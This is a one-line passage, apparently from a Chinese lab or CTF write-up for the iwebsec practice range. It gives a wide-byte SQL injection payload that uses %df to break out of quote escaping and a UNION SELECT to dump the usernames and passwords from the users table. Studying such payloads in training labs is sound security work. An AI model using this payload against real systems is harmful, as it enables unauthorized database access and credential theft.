直接上payload ?id=-1%df’ union select 1,2,group_concat(concat(username,0x7e,password)) from iwebsec.users–+